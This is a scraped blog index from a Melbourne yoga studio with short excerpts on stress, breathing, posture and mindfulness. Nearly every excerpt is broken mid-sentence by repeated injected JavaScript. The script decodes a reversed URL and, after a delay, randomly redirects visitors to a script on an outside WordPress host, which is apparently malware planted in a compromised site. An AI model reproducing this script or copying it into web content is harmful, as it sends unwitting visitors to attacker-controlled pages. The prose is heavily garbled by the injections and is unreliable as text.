three clouds yoga

About three clouds yoga

As a yoga teacher and meditation teacher and the founder of three clouds yoga, Jemma Newcombe is deeply passionate about helping people feel calm and focussed. People normally reach out to Jemma because they’re overwhelmed with stress, time poor, as well as struggling with their health and overall wellbeing. When she’s not teaching and running her business you can find her making chakra candles, chasing after her large dog and enjoying Melbourne’s restaurants and arts scene.

How yoga can help your intimate life

Guest post by Emily Apple.

Yoga practice offers you many different benefits. It’s a surefire way to improve your flexibility, breathing, $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and build muscle strength. Through yoga, you can perfect your posture, lose weight, $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return […]

  • feeling-burned-out-FB945x624

Feeling burned out? You’re not alone

Heads Up has some great resources $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and tips if you find yourself becoming overwhelmed or burned out at any time.

As the nature of work changes over time, we’re taking more work $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var […]

  • read-before-organise-corporate-yoga-session-FB1018x608

Read this before you organise a corporate yoga session

Some great tips for corporate yoga in the workplace – both for the organiser $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and participants. (Although unlike the author I have never had anyone turn up in a sari!) 

Theme
Always have a theme for your session. This is important because it allows the trainer to […]

  • breathe-exhale-repeat-FB

Breathe. Exhale. Repeat. The benefits of controlled breathing

It seems science is finally showing evidence of the benefits of breathing on our mind $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and body – something yogis $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and buddhists have knows for thous$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var […]

  • mood-boost-yoga-calm-mind

Mood boost – yoga to calm your mind

I came across this article from www.psychologies.co.uk $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and it outlines some great simple but effective yoga poses for beginners. Great for improving your mood, deepening your breath $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and moving your spine safely. 

Originally, yoga […]

  • keep-relaxed-office-yoga

Relaxed in the office with yoga

Article from: www.huffingtonpost.ca

I work from home, $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and have laptops on desks or tables throughout my home. The worst case scenario is that I am slouched, half-laying on the couch with my laptop balanced on my knees for 10 plus hours a day.

Recently, I […]

  • 5-yoga-poses-to-relieve-lower-back-pain-from-sitting

5 poses to relieve lower back pain from sitting

My posture has definitely improved since ditching my desk job.

This doesn’t mean that as an office worker you can’t have great posture nor prevent lower back, neck $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and shoulder issues. This article from www.doyouyoga.com has some great tips as well as 5 key […]

  • 12-ways-beat-christmas-stress

12 Ways to beat Christmas stress

Tackle Christmas stress before it takes hold! The Black Dog Institute shares advice for staying mentally well over the busy festive season.

1. Work out your priorities $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and keep a list
Prioritise tasks $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and […]

  • benefits-of-breath

Benefits of the breath

Photo: amytreasure.com

Go to any yoga class $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and you’ll hear your teacher constantly remind you to notice your breathing; when to inhale $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and exhale as you move your body through various poses. We breathe without thinking […]

  • are-mindfulness-meditation-the-same

Are mindfulness andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meditation the same?

Photo by Isabell Winter

It is difficult to pick up a lifestyle magazine or scroll through your favorite yoga-related social media pages without seeing mention of the benefits of mindfulness $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meditation. The words “mindfulness” $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return 